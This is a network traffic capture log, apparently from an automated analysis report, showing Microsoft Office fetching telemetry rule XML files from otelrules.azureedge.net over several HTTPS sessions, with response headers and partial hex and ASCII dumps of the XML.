2024-10-31 10:28:16 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:16 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: e6a28f74-a01e-00ab-600b-2b9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102816Z-15b8d89586f42m673h1quuee4s0000000dg0000000006fck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:16 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:16 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:16 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:16 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102816Z-16849878b78fkwcjkpn19c5dsn00000008gg000000000nrf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:16 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:16 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:16 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:16 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 41496f62-601e-00ab-428f-2a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102816Z-159b85dff8f46f6ghC1DFW1p0n00000001sg000000000gnn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:16 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:16 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:17 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:17 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: a3e027ec-201e-0071-5daf-2aff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102817Z-17c5cb586f67hfgj2durhqcxk800000008b0000000005p0n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:17 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:16 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:17 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:17 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: b4512c6a-b01e-0053-06ac-2acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102817Z-159b85dff8fx9jp8hC1DFWp254000000015g0000000093zd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:17 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:16 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:17 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:17 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: c5ab768f-801e-007b-5c7c-2ae7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102817Z-159b85dff8fdh9tvhC1DFW50vs00000001a0000000007c4w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:17 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:17 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:17 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:17 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102817Z-16849878b78zqkvcwgr6h55x9n00000008y0000000001cmu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:17 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:17 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:17 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:17 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: f3cd1c79-a01e-0032-01bf-2a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102817Z-159b85dff8fgb9pzhC1DFW7mkc000000019g0000000047p4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:17 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:17 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:17 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:17 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 8cda5ddf-101e-0046-65bc-2a91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102817Z-17c5cb586f62bgw58esgbu9hgw000000020000000000b05c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:17 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:17 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:17 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:17 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: eb0745eb-f01e-003c-6cca-2a8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102817Z-17c5cb586f6f98jx9q4y7udcaw00000000v000000000bbfy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:17 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:17 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:17 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:17 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d0af8e75-601e-0050-7953-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102817Z-17c5cb586f62bgw58esgbu9hgw000000025g000000002nnh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:17 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:17 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:18 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:17 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102817Z-16849878b78qg9mlz11wgn0wcc00000008wg00000000cayd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
